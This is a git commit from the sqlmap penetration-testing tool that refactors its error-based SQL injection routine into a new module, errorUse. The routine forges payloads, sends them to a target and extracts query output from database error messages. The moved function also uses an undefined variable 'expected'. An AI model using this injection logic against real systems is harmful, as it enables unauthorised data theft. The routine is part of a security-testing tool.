code refactoring

This commit is contained in:
Miroslav Stampar 2010-10-20 09:09:04 +00:00
parent b032fdbf74
commit 934adb5e8d
4 changed files with 87 additions and 57 deletions

View File

@ -16,7 +16,7 @@ from lib.core.data import paths
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.settings import SUPPORTED_DBMS
from lib.techniques.blind.timebased import timeTest
from lib.techniques.error.error import errorTest
from lib.techniques.error.test import errorTest
from lib.techniques.inband.union.test import unionTest
from lib.techniques.outband.stacked import stackedTest

View File

@ -28,16 +28,18 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.settings import ERROR_SPACE
from lib.core.settings import ERROR_EMPTY_CHAR
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.request.direct import direct
from lib.techniques.inband.union.use import unionUse
from lib.techniques.blind.inference import bisection
from lib.techniques.error.use import errorUse
from lib.utils.resume import queryOutputLength
from lib.utils.resume import resume
from lib.core.settings import ERROR_SPACE
from lib.core.settings import ERROR_EMPTY_CHAR
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None):
start = time.time()
@ -333,57 +335,6 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr
return data
def __goError(expression, resumeValue=True):
"""
Retrieve the output of a SQL query taking advantage of an error SQL
injection vulnerability on the affected parameter.
"""
logic = conf.logic
randInt = randomInt(1)
query = agent.prefixQuery(" %s" % queries[kb.misc.testedDbms].error)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
if resumeValue:
output = resume(expression, payload)
else:
output = None
if output and ( expected is None or ( expected == "int" and output.isdigit() ) ):
return output
if kb.dbmsDetected:
_, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
if kb.dbms == "MySQL":
nulledCastedField = nulledCastedField.replace("CHAR(10000)", "CHAR(255)") #fix for that 'Subquery returns more than 1 row'
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
else:
expressionUnescaped = unescaper.unescape(expression)
debugMsg = "query: %s" % expressionUnescaped
logger.debug(debugMsg)
forgedPayload = safeStringFormat(payload, (logic, randInt, expressionUnescaped))
result = Request.queryPage(urlencode(forgedPayload), content=True)
match = re.search(queries[kb.misc.testedDbms].errorRegex, result[0], re.DOTALL | re.IGNORECASE)
if match:
output = match.group('result')
if output:
output = output.replace(ERROR_SPACE, " ").replace(ERROR_EMPTY_CHAR, "")
if kb.misc.testedDbms == 'MySQL':
output = output[:-1]
if conf.verbose > 0:
infoMsg = "retrieved: %s" % replaceNewlineTabs(output, stdout=True)
logger.info(infoMsg)
return output
def getValue(expression, blind=True, inband=True, error=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=False):
"""
Called each time sqlmap inject a SQL query on the SQL injection
@ -406,7 +357,7 @@ def getValue(expression, blind=True, inband=True, error=True, fromUser=False, ex
expression = expression.replace("DISTINCT ", "")
if error and conf.errorTest:
value = __goError(expression)
value = errorUse(expression)
if not value:
warnMsg = "for some reasons it was not possible to retrieve "
@ -465,6 +416,6 @@ def goError(expression):
if conf.direct:
return direct(expression), None
result = __goError(expression)
result = errorUse(expression)
return result

View File

@ -29,7 +29,7 @@ def errorTest():
infoMsg += "'%s' with %s condition syntax" % (kb.injParameter, conf.logic)
logger.info(infoMsg)
randInt = getUnicode(randomInt(1))
randInt = getUnicode(randomInt(1))
query = queries[kb.dbms].case % ("%s=%s" % (randInt, randInt))
result = inject.goError(query)

View File

@ -0,0 +1,79 @@
#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""
import re
import time
from lib.core.agent import agent
from lib.core.common import getUnicode
from lib.core.common import randomInt
from lib.core.common import replaceNewlineTabs
from lib.core.common import safeStringFormat
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.session import setError
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.utils.resume import resume
from lib.core.settings import ERROR_SPACE
from lib.core.settings import ERROR_EMPTY_CHAR
def errorUse(expression, resumeValue=True):
"""
Retrieve the output of a SQL query taking advantage of an error SQL
injection vulnerability on the affected parameter.
"""
logic = conf.logic
randInt = randomInt(1)
query = agent.prefixQuery(" %s" % queries[kb.misc.testedDbms].error)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
if resumeValue:
output = resume(expression, payload)
else:
output = None
if output and ( expected is None or ( expected == "int" and output.isdigit() ) ):
return output
if kb.dbmsDetected:
_, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
if kb.dbms == "MySQL":
nulledCastedField = nulledCastedField.replace("CHAR(10000)", "CHAR(255)") #fix for that 'Subquery returns more than 1 row'
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
else:
expressionUnescaped = unescaper.unescape(expression)
debugMsg = "query: %s" % expressionUnescaped
logger.debug(debugMsg)
forgedPayload = safeStringFormat(payload, (logic, randInt, expressionUnescaped))
result = Request.queryPage(urlencode(forgedPayload), content=True)
match = re.search(queries[kb.misc.testedDbms].errorRegex, result[0], re.DOTALL | re.IGNORECASE)
if match:
output = match.group('result')
if output:
output = output.replace(ERROR_SPACE, " ").replace(ERROR_EMPTY_CHAR, "")
if kb.misc.testedDbms == 'MySQL':
output = output[:-1]
if conf.verbose > 0:
infoMsg = "retrieved: %s" % replaceNewlineTabs(output, stdout=True)
logger.info(infoMsg)
return output